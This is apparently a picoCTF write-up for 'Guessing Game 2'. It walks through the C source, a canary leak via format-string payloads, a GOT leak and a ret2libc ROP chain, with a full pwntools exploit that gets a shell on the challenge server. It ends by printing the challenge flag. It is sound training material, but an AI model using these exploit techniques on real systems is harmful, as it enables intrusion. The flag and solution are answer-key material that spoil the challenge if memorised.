Guessing Game 2
11 minutes to read
We are given a 32-bit binary called vuln
:
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Static code analysis
We also have the C source code. Basically, what the program does is request a number, compare it with a random one and if it is the same, then request a username to print a message:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
The code is pretty similar to the one on challenge Guessing Game 1 (take a look at that challenge before continuing).
Guessing the number
The get_random
function is a bit different. This time it is taking a fix value, but we do not know yet its value. However, it can be shown in GDB:
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ disassemble do_stuff
Dump of assembler code for function do_stuff:
...
0x080486e9 <+138>: call 0x80484e0 <atol@plt>
0x080486ee <+143>: add esp,0x10
0x080486f1 <+146>: mov DWORD PTR [ebp-0x210],eax
0x080486f7 <+152>: cmp DWORD PTR [ebp-0x210],0x0
0x080486fe <+159>: jne 0x8048714 <do_stuff+181>
0x08048700 <+161>: sub esp,0xc
0x08048703 <+164>: lea eax,[ebx-0x1657]
0x08048709 <+170>: push eax
0x0804870a <+171>: call 0x80484c0 <puts@plt>
0x0804870f <+176>: add esp,0x10
0x08048712 <+179>: jmp 0x8048752 <do_stuff+243>
0x08048714 <+181>: mov eax,DWORD PTR [ebp-0x210]
0x0804871a <+187>: cmp eax,DWORD PTR [ebp-0x214]
0x08048720 <+193>: jne 0x8048740 <do_stuff+225>
...
End of assembler dump.
The comparison is at the address 0x0804871a
, where it compares $eax
to what it is stored in $ebp - 0x214
. Let’s put a breakpoint and run the program:
gef➤ break *0x0804871a
Breakpoint 1 at 0x804871a
gef➤ run
Starting program: ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
1
Breakpoint 1, 0x0804871a in do_stuff ()
Perfect, let’s examine the contents of address $ebp - 0x214
:
gef➤ x $ebp-0x214
0xffffd5f4: 0xfffff2a1
Here we need to take into account that 0xfffff2a1
is a negative number, because the most significant bit is 1. Hence, we need to compute the two’s complement (negate the number and add 1), which is -3423:
number = - ((~0xfffff2a1 & 0xffffffff) + 1) # -3423
We can try it:
$ ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-3423
Congrats! You win! Your prize is this print statement!
New winner!
Name?
Now we arrive to the win
function:
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
Vulnerabilities
This time we have a call to gets
(which is vulnerable to Buffer Overflow), and also a Format String vulnerability, since variable winner
is inserted as the first argument of printf
.
Basically, we can dump values of the stack:
$ ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-3423
Congrats! You win! Your prize is this print statement!
New winner!
Name? %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
Congrats: 200.f7fae580.804877d.1.fffff2a1.fffff2a1.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.f7ff7500.
What number would you like to guess?
The Format String vulnerability will be useful to obtain the value of the stack canary (this time there is an stack canary, and not like in Guessing Game 1). In order to exploit the Buffer Overflow with gets
we need to add the value of the canary before $eip
to bypass the protection (otherwise, the canary will be modified and the program just terminates).
Let’s use a Python script to guess the position of the canary in the stack. The idea is to dump positions of the stack until we find one value that has the form of a stack canary (ends with a NULL byte, 00
in hexadecimal digits):
#!/usr/bin/env python3
from pwn import *
elf = ELF('vuln', checksec=False)
context.binary = elf
number = -3423 # - ((~0xfffff2a1 & 0xffffffff) + 1)
log.success(f'Guessed number: {number}')
p = process(elf.path)
def dump(n: int) -> str:
p.sendlineafter(b'What number would you like to guess?\n', str(number).encode())
p.sendlineafter(b'Name? ', f'%{n}$x'.encode())
res = p.recvline().decode().strip()
res = res.lstrip('Congrats: ')
return res
for i in range(200):
res = dump(i)
if res.endswith('00'):
print(i, dump(i))
p.close()
Basically we are extracting values at certain positions using a formats strings like %1$x
, %2$x
, %3$x
and so on. If we try with the first 200 positions and select the canary candidates (the ones that end in 00
), we have that the canary is likely to be in position 119 (actually repeated in position 135):
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 64957
1 200
23 f7f22100
31 f7f55000
95 f7f0c000
119 b45b6d00
124 f7f0c000
125 f7f0c000
132 f7f0c000
133 f7f0c000
135 b45b6d00
148 f7f0c000
149 f7f0c000
156 f7f0c000
157 f7f55000
162 f7f0c000
163 f7f0c000
184 8048900
[*] Stopped process './vuln' (pid 64957)
Let’s test it with GDB:
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ break main
Breakpoint 1 at 0x804880e
gef➤ run
Starting program: ./vuln
Breakpoint 1, 0x804880e in main ()
gef➤ canary
[+] Found AT_RANDOM at 0xffffda2b, reading 4 bytes
[+] The canary of process 71318 is 0x3ce1fa00
gef➤ continue
Continuing.
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-3423
Congrats! You win! Your prize is this print statement!
New winner!
Name? %119$x
Congrats: 3ce1fa00
What number would you like to guess?
Exploit development
Alright, now we can start exploiting the Buffer Overflow. First of all, we need to obtain the number of bytes needed to overwrite $eip
. This can be done in multiple ways because we have a stack canary. For the moment, let’s send payloads and increase their size until the process stops:
canary_position = 119
canary = int(dump(canary_position), 16)
log.success(f'Leaked canary: {hex(canary)}')
def send_payload(payload: bytes) -> bytes:
p.sendlineafter(b'What number would you like to guess?\n', str(number).encode())
p.sendlineafter(b'Name? ', payload)
return p.recvline()
for i in range(250):
try:
send_payload(b'A' * 4 * i)
except EOFError:
log.info(f'Stack smashing detected with {4 * i - 4} bytes')
break
p.close()
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 83225
[+] Leaked canary: 0x330c2500
[*] Stack smashing detected with 516 bytes
[*] Process './vuln' stopped with exit code -6 (SIGABRT) (pid 83225)
So the stack smashing is detected when we send 516 bytes. Hence, to reach the stack canary we need 512 bytes.
Notice that the stack smashing is detected in the previous iteration to the one that gave EOFError
(which means that the process is no longer alive).
Now, let’s add the canary in our payload and then send a pattern string using cyclic
from pwntools
. After that, we can attach GDB to the process and calculate the offset to $eip
:
def send_payload(payload: bytes) -> bytes:
p.sendlineafter(b'What number would you like to guess?\n', str(number).encode())
p.sendlineafter(b'Name? ', payload)
return p.recvline()
offset = 512
junk = b'A' * offset
payload = junk
payload += p32(canary)
payload += cyclic(500)
gdb.attach(p, gdbscript='continue')
send_payload(payload)
p.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x61616164 in ?? ()
The $eip
register is overwritten with 0x61616164
(daaa
), which is at offset 12:
$ pwn cyclic -l 0x61616164
12
Now, we need to create a ROP chain to perform a ret2libc attack, since the binary is dynamically linked:
$ ldd vuln
linux-gate.so.1 (0xf7efb000)
libc.so.6 => /lib32/libc.so.6 (0xf7cf9000)
/lib/ld-linux.so.2 (0xf7efd000)
Leaking memory addresses
Since we do not know which version of Glibc is running in the remote instance, we must leak an address of a function inside Glibc to look up the offset in a Glibc database.
To do the leak, we can call puts
in the PLT and leak the contents of an address of GOT, for example the same puts
. The return address will be the address of win
.
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ p puts
$1 = {<text variable, no debug info>} 0x80484c0 <puts@plt>
gef➤ p win
$1 = {<text variable, no debug info>} 0x804876e <win>
gef➤ quit
$ readelf -a vuln | grep puts
08049fdc 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
6: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
55: 00000000 0 FUNC GLOBAL DEFAULT UND puts@@GLIBC_2.0
So this is the ROP chain:
offset_to_canary = 512
offset_to_eip = 12
junk_to_canary = b'A' * offset_to_canary
junk_to_eip = b'A' * offset_to_eip
payload = junk_to_canary
payload += p32(canary)
payload += junk_to_eip
win_addr = 0x0804876e
puts_plt = 0x080484c0
puts_got = 0x08049fdc
payload += p32(puts_plt)
payload += p32(win_addr)
payload += p32(puts_got)
send_payload(payload)
After that, we will receive the real address of puts
inside Glibc (which is 4 bytes long):
p.recvline()
puts_addr = u32(p.recvline()[:4].ljust(4, b'\0'))
log.success(f'Leaked puts() address: {hex(puts_addr)}')
We have this leaked value:
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 148404
[+] Leaked canary: 0x3463de00
[+] Leaked puts() address: 0xf7d73290
[*] Switching to interactive mode
New winner!
Name? $
Notice as well that win
is being called. To check if the leaked address is correct, we can obtain the offset of puts
inside Glibc (the local one, for the remote instance later):
$ readelf -s /lib32/libc.so.6 | grep puts
215: 00071290 531 FUNC GLOBAL DEFAULT 16 _IO_puts@@GLIBC_2.0
461: 00071290 531 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.0
540: 0010c050 1240 FUNC GLOBAL DEFAULT 16 putspent@@GLIBC_2.0
737: 0010dc90 742 FUNC GLOBAL DEFAULT 16 putsgent@@GLIBC_2.10
1244: 0006fa20 381 FUNC WEAK DEFAULT 16 fputs@@GLIBC_2.0
1831: 0006fa20 381 FUNC GLOBAL DEFAULT 16 _IO_fputs@@GLIBC_2.0
2507: 0007ac20 191 FUNC WEAK DEFAULT 16 fputs_unlocked@@GLIBC_2.1
The offset is 0x71290
, and the leaked address was 0xf7d73290
. Both numbers end with 290
in hexadecimal, so everything is alright. The base address of Glibc is randomized because of ASLR, but we know that this address will end in 000
in hexadecimal, so the real address of puts
must end with the last three hexadecimal digits of its offset (290
).
To compute the base address of Glibc, we can do a simple substraction:
p.recvline()
puts_addr = u32(p.recvline()[:4].ljust(4, b'\0'))
log.success(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x71290
glibc_base_addr = puts_addr - puts_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 154121
[+] Leaked canary: 0xf0f7ba00
[+] Leaked puts() address: 0xf7d9d290
[+] Glibc base address: 0xf7d2c000
[*] Switching to interactive mode
New winner!
Name? $
ret2libc attack
Now we are able to perform a ret2libc attack. Basically, we must call system
inside Glibc and use "/bin/sh"
as an argument. The string "/bin/sh"
is also inside Glibc:
$ readelf -s /lib32/libc.so.6 | grep system
258: 00137810 106 FUNC GLOBAL DEFAULT 16 svcerr_systemerr@@GLIBC_2.0
662: 00045420 63 FUNC GLOBAL DEFAULT 16 __libc_system@@GLIBC_PRIVATE
1534: 00045420 63 FUNC WEAK DEFAULT 16 system@@GLIBC_2.0
$ strings -atx /lib32/libc.so.6 | grep /bin/sh
18f352 /bin/sh
This is the second ROP chain:
payload = junk_to_canary
payload += p32(canary)
payload += junk_to_eip
system_offset = 0x45420
bin_sh_offset = 0x18f352
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload += p32(system_addr)
payload += p32(win_addr)
payload += p32(bin_sh_addr)
p.sendlineafter(b'Name? ', payload)
p.recvline()
p.recvline()
p.interactive()
And if everything is correct, we must have a shell:
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 159500
[+] Leaked canary: 0x7baaa300
[+] Leaked puts() address: 0xf7d8b290
[+] Glibc base address: 0xf7d1a000
[*] Switching to interactive mode
$ ls
Makefile solve.py vuln vuln.c
Remote exploit
Now it is time to obtain the version of Glibc for the remote instance.
The first thing we notice is that the number -3423 is not correct for the remote instance. Thus, we must perform a brute force attack since we cannot leak it:
number = 0
number_progress = log.progress('Guessed number')
for i in range(-4096, 4095):
number_progress.status(str(i))
with context.local(log_level='CRITICAL'):
p = get_process()
p.sendlineafter(b'What number would you like to guess?\n', str(i).encode())
if b'Congrats!' in p.recvline():
number = i
number_progress.success(str(number))
break
p.close()
$ python3 solve.py jupiter.challenges.picoctf.org 15815
[|] Guessing number: -3983
[+] Guessed number: -3983
Nice, it is -3983 for the remote instance. Now let’s run our current exploit:
$ python3 solve.py jupiter.challenges.picoctf.org 15815
[+] Guessed number: -3983
[+] Opening connection to jupiter.challenges.picoctf.org on port 15815: Done
[+] Leaked canary: 0xf2d4c600
[+] Leaked puts() address: 0xf7e10460
[+] Glibc base address: 0xf7d9f1d0
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
Obviously, it is not going to work because the Glibc version is not the same we have locally. However, we can use an online Glibc database where we search for the last three hexadecimal digits of puts
address (namely, 460
):
We see that the offset of puts
is 0x071460
, the offset of system
is 0x045350
and the offset for "/bin/sh"
is 0x19032b
. If we update these values in the exploit, we still don’t get a shell. We can try more versions of Glibc until we get to the right one:
puts
offset:0x067460
system
offset:0x03ce10
"/bin/sh"
offset:0x17b88f
Flag
And finally, the exploit works remotely:
$ python3 solve.py jupiter.challenges.picoctf.org 15815
[+] Guessed number: -3983
[+] Opening connection to jupiter.challenges.picoctf.org on port 15815: Done
[+] Leaked canary: 0x70b20e00
[+] Leaked puts() address: 0xf7dc9460
[+] Glibc base address: 0xf7d62000
[*] Switching to interactive mode
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{p0p_r0p_4nd_dr0p_1t_506b81e98597929e}
The full exploit can be found in here: solve.py
.